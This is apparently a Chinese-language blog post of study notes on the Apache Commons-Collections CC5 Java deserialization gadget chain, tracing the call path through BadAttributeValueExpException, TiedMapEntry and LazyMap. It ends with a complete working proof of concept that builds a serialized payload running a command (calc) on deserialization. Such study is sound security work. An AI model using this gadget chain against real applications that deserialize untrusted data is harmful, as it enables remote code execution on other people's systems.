Loading

java-CC5-链审计笔记

java-CC5 链审计笔记

调用链

来自 ysoserial 的注释描述

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

	Requires:
		commons-collections

This only works in JDK 8u76 and WITHOUT a security manager

https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70

其实 CC5 和 我们经典的 CC6 是大相径庭的,只是调用了不同的 TiedMapEntry 方法,在 CC6 中 是从TiedMapEntry.hashCode() => TiedMapEntry.getValue() => LazyMap.get()

链条分析

我们在 LazyMap#get 方法,查找用法,找到了 TiedMapEntry.getValue() 有调用

image-20250402185614936

进入到 TiedMapEntry 看看哪里调用了 getValue() 方法,发现有三处方法调用

public boolean equals(Object obj) {
    if (obj == this) {
        return true;
    }
    if (obj instanceof Map.Entry == false) {
        return false;
    }
    Map.Entry other = (Map.Entry) obj;
    Object value = getValue();
    return
        (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
        (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}
public String toString() {
    return getKey() + "=" + getValue();
}

我们的 CC6 正是用到了 hashCode() 方法,而在我们的CC5 中使用到 toString() 方法

找到了 BadAttributeValueExpException.readObject() 这个方法

image-20250402191004381

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

看到 valObj.toString() 我们只需要通过反射来获取到

为什么需要反射?

在 BadAttributeValueExpException 的构造方法,也执行了 val.toString() 方法,在序列化的时候,不用反射的话,恶意代码会在我们本机执行。

而在 val.toString() 方法执行后,我们的 val 就不是Object类型了,而是String类型。无法调用后续的链条

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

我们依然可以调试一下,试着直接在构造参数中传递 tiedMapEntry

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

image-20250402203555974

最终代码

package com.lingx5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ApacheCC5 {
    public static void ser(){
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(null));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
        BadAttributeValueExpException badAttributeValueExpException =
                new BadAttributeValueExpException("lingx5");
        try {
            Class<? extends LazyMap> Clazz = (Class<? extends LazyMap>) lazyMap.getClass();
            Field factory = Clazz.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(lazyMap, transformerChain);
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);
            FileOutputStream fos = new FileOutputStream("cc5.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fos);
            objectOutputStream.writeObject(badAttributeValueExpException);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
    public static void deser(File file){
        try {
            FileInputStream fis = new FileInputStream(file);
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        // 序列化
        ser();
        // 反序列化
        String projectDir = System.getProperty("user.dir");
        Path path = Paths.get(projectDir, "cc5.ser");
        deser(path.toFile());
    }
}

image-20250402202607185

posted @ 2025-04-02 21:05  LingX5  阅读(24)  评论(0)    收藏  举报